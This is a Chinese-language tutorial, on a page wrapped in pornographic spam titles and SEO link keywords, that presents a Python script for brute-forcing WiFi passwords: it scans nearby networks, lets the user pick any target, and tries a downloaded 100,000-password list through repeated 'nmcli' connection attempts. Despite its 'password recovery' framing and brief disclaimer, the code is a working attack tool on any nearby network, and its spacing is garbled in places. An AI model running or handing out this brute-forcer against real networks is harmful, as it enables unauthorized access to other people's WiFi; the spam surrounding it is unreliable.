看片91_日日综合_成人黄色短视频在线观看_91视频 - v11=Av_国产高潮失禁喷水爽到抽搐视频_天天都色视频

忘記的wifi密碼Python腳本找回

小編:餓狼 更新時間:2025-06-16 17:31

很多小伙伴都好奇,一些個網絡大神咋就把wifi密碼給找回來了?其實找回wifi密碼的難度主要看密碼設得有多復雜。如果是那種常見的弱密碼,比如“12345678”,找回來真不難!下面就教你用Python腳本三步找回wifi密碼,純為學習技術,別拿去干違法的事兒哦!

忘記的wifi密碼Python腳本找回

第一步:掃描附近wifi信號

想找回wifi密碼,第一步得知道附近有哪些wifi信號。咱們可以用Python寫個小函數,叫`display_targets`,獲取wifi列表。

def display_targets(networks, security_type):
    print("Select a target: \n")
    
    rows, columns = os.popen('stty size', 'r').read().split()
    for i in range(len(networks)):
        width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
        spacer = " "
        
        if (int(columns) >= 100):
            calc = int((int(columns)-int(width))*0.75)
        else:
                calc = int(columns)-int(width)
        
        for index in range(calc):
            spacer += "."
            if index == (calc-1):
                spacer += " "
            
        print(str(i+1)+". "+networks[i]+spacer+security_type[i])

它能掃描附近wifi的SSID(就是wifi名字,比如“HUAWEI-XXXX”)。跑代碼后,程序會把附近wifi信號列出來,存到列表里,方便你挑想找回密碼的那個wifi。這個函數寫下來也就十幾行,超簡單!

忘記的wifi密碼Python腳本找回

小提示:先用`pip install pywifi`裝好庫,Windows、Mac、Linux都支持。跑之前確認下電腦網卡能不能掃wifi,不然可能啥也找不到。

第二步

掃完wifi列表后,找到你的wifi。這步更輕松,純Python基礎操作。可以用輸入框,讓你從列表選出wifi名字(比如“TP-LINK_1234”)。選好后,程序會記住這個wifi的SSID,準備下一步。

def prompt_for_target_choice(max):
    whileTrue:
        try:
            selected = int(input("\nEnter number of target: "))
            if(selected >= 1and selected <= max):
                return selected - 1
        except Exception as e:
            ignore = e

        print("Invalid choice: Please pick a number between 1 and " + str(max))

第三步:暴力嘗試找回wifi密碼

選好wifi后,重頭戲來了——咋找回密碼?最常用的辦法是“暴力嘗試”,就是拿一堆常見密碼挨個試。咱們可以用GitHub上的一個開源項目,里面有10萬個常用wifi密碼(比如“admin123”之類的弱密碼)。程序會自動用這些密碼去試,直到找到對的那個。

具體咋干?寫個函數,循環讀取密碼列表,自動嘗試連wifi。每次試的時候,屏幕會用顏色提示:紅色是試錯了,紫色是正在試,綠色是找回成功!整個代碼大概60行,核心就是`pywifi`的連接功能加上密碼循環,效率很高。

def brute_force(selected_network, passwords, args):
    for password in passwords:
        # necessary due to NetworkManager restart after unsuccessful attempt at login
        password = password.strip()

        # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
        if isinstance(password, str):
            decoded_line = password
        else:
            decoded_line = password.decode("utf-8")
            
        if args.verbose isTrue:
            print(bcolors.HEADER+"** TESTING **: with password '" +
                decoded_line+"'"+bcolors.ENDC)

        if (len(decoded_line) >= 8):
            time.sleep(3)

            creds = os.popen("sudo nmcli dev wifi connect " +
                selected_network+" password "+decoded_line).read()
                
            # print(creds)

            if ("Error:"in creds.strip()):
                if args.verbose isTrue:
                    print(bcolors.FAIL+"** TESTING **: password '" +
                        decoded_line+"' failed."+bcolors.ENDC)
            else:
                sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
                    decoded_line+"' succeeded."+bcolors.ENDC)
        else:
            if args.verbose isTrue:
                print(bcolors.OKCYAN+"** TESTING **: password '" +
                    decoded_line+"' too short, passing."+bcolors.ENDC)

    print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

小提醒:找回速度看你電腦性能和密碼復雜程度。如果wifi用的是“password123”這種弱密碼,估計幾分鐘就搞定;但如果是16位隨機密碼,難度就大多了。

把三步連起來

把這三步串起來,邏輯是這樣的:先用`display_targets`掃wifi列表,選好你的wifi,最后用暴力嘗試函數一個個試密碼。整個腳本不到100行,簡單又好使!跑的時候,屏幕會刷測試狀態,紅色、紫色、綠色提示清清楚楚,找到密碼后直接顯示,爽快!

def main():
    require_root()
    args = argument_parser()

    # The user chose to supplied their own url
    if args.url isnotNone:
        passwords = fetch_password_from_url(args.url)
    # user elect to read passwords form a file
    elif args.file isnotNone:
        file = open(args.file, "r")
        passwords = file.readlines()
        ifnot passwords:
            print("Password file cannot be empty!")
            exit(0)
        file.close()
    else:
        # fallback to the default list as the user didnt supplied a password list
        default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
        passwords = fetch_password_from_url(default_url)

    # grabbing the list of the network ssids
    func_call = start(1)
    networks = func_call[0]
    security_type = func_call[1]
    
    ifnot networks:
        print("No networks found!")
        sys.exit(-1)

    display_targets(networks, security_type)
    max = len(networks)
    pick = prompt_for_target_choice(max)
    target = networks[pick]
    
    print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")

    brute_force(target, passwords, args)

小建議:找到密碼后,記到手機備忘錄里,標上“家里wifi密碼”,免得下次又忘了。

一點小忠告

找回wifi密碼聽起來挺炫,但得悠著點。弱密碼的wifi確實容易被找回,但還是建議自己家的wifi密碼最好設得復雜點,字母、數字、符號混搭,12位以上才保險。別去試別人家的wifi,不僅不道德,還可能犯法。學這個主要是搞懂技術原理,滿足好奇心,或者幫自己找回忘了的密碼。

想玩得更深?可以分析找回成功率,比如統計哪些密碼最常見,或者用Python的`matplotlib`把嘗試時間畫成圖,數據控看了超滿足!

好啦,三步找回wifi密碼的教程到這兒!希望你覺得有趣又有料。

主站蜘蛛池模板: 这里只有精品在线 | 在线二区 | 成人免费视屏 | 欧美日韩综合 | 日韩成人在线观看 | 亚洲第一黄色网 | 亚洲精品久久久 | 综合久久综合久久 | www.日韩| 久久免费综合视频 | 国产欧美日韩在线视频 | 国产精品麻豆欧美日韩ww | 人与性欧美aa大片视频看 | 国产成人视屏 | 美美女高清毛片视频免费观看 | 国产福利一区二区三区在线播放 | av资源在线看 | 欧美在线视频二区 | 91av日本 | 免费福利av | 91色综合 | 水蜜桃一区 | 日韩精品福利视频 | 9色av| 男女在线免费视频 | 亚洲欧美一区二区在线观看 | 国产黄色精品 | 91麻豆精品国产91久久久久久久久 | 国产精品久久久av久久久 | 欧美性猛交xxxx黑人交 | 一本色道精品久久一区二区三区 | 日本中文字幕在线观看 | 日本欧美久久久 | 精品国产乱码久久久久久蜜柚 | 国产1区在线观看 | 91看电影| 亚洲国产一区二区三区 | 精品一区二区三区视频 | 精品免费国产一区二区三区四区 | 国产欧美日本 | 中文字幕福利 |